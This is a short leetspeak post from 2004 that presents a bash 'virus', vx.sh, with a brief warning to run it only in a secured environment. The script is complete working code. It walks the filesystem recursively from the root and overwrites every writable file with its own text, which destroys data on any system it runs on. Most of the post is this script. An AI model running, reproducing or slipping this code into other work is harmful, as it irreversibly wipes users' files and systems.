i was tired of hearing linux didn't have any virii, my linuxb0x Sh0u1d 0wnz0r 4LL!
so now it does, waiting in ~/bin, for that f4t4l d4y, (i'm so d0000m3d)

WARNING: following program recursively traverses a filesystem and replaces every file it sees with itself, only use it in a secured enviroment

#!/bin/sh
# vx.sh recursive self copying virus for bash
# (c)2004 GPL Matthijs Dalhuijsen
r(){ for x in $1*;do [[ -h "$x" ]]|| if \
[[ -d "$x" ]]; then r "$x/"; else [[ -w \
"$x" ]]&&echo "$(<$0)">"$x";fi;done };r /